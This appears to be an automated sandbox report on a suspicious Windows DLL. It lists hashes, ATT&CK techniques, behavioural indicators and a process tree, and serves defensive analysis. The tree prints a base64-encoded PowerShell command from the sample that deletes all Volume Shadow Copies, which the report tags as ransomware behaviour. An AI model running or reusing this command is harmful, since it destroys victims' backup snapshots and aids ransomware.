77f8df8ed8c7655aec8a386465bcd2c649350671f9400af3711a335fbc1c8c97

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28/05/2024, 01:29

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General

Target

7b3d6224d8a3713471864c85b8834a4d_JaffaCakes118.dll
Size

166KB
MD5

7b3d6224d8a3713471864c85b8834a4d
SHA1

0cd00ace020606adfa5046e0e9f518690f403bf3
SHA256

77f8df8ed8c7655aec8a386465bcd2c649350671f9400af3711a335fbc1c8c97
SHA512

e1436b50a5be499b69c33166cf09f3f77a57f0e2f712b679ede0e52b8fbae278c31e447297ec151428e4de44fe4026f9f97317c9a9947dc089ee235fc9250057
SSDEEP

3072:MJMawtnGqtWoKeZ9fh1CgnNto6jfvEIDiOA:Ww9vteqJggn7oUfpD

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1720	rundll32.exe
1724	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	rundll32.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeBackupPrivilege	2588	vssvc.exe
Token: SeRestorePrivilege	2588	vssvc.exe
Token: SeAuditPrivilege	2588	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1300 wrote to memory of 1720	1300	rundll32.exe	28
PID 1720 wrote to memory of 1724	1720	rundll32.exe	29
PID 1720 wrote to memory of 1724	1720	rundll32.exe	29
PID 1720 wrote to memory of 1724	1720	rundll32.exe	29
PID 1720 wrote to memory of 1724	1720	rundll32.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\7b3d6224d8a3713471864c85b8834a4d_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\7b3d6224d8a3713471864c85b8834a4d_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1724

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2660

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1724-4-0x000007FEF561E000-0x000007FEF561F000-memory.dmp

Filesize
4KB

Download
memory/1724-5-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/1724-6-0x0000000001F90000-0x0000000001F98000-memory.dmp

Filesize
32KB

Download
memory/1724-7-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-8-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-9-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-10-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-11-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-12-0x000007FEF5360000-0x000007FEF5CFD000-memory.dmp

Filesize
9.6MB

Download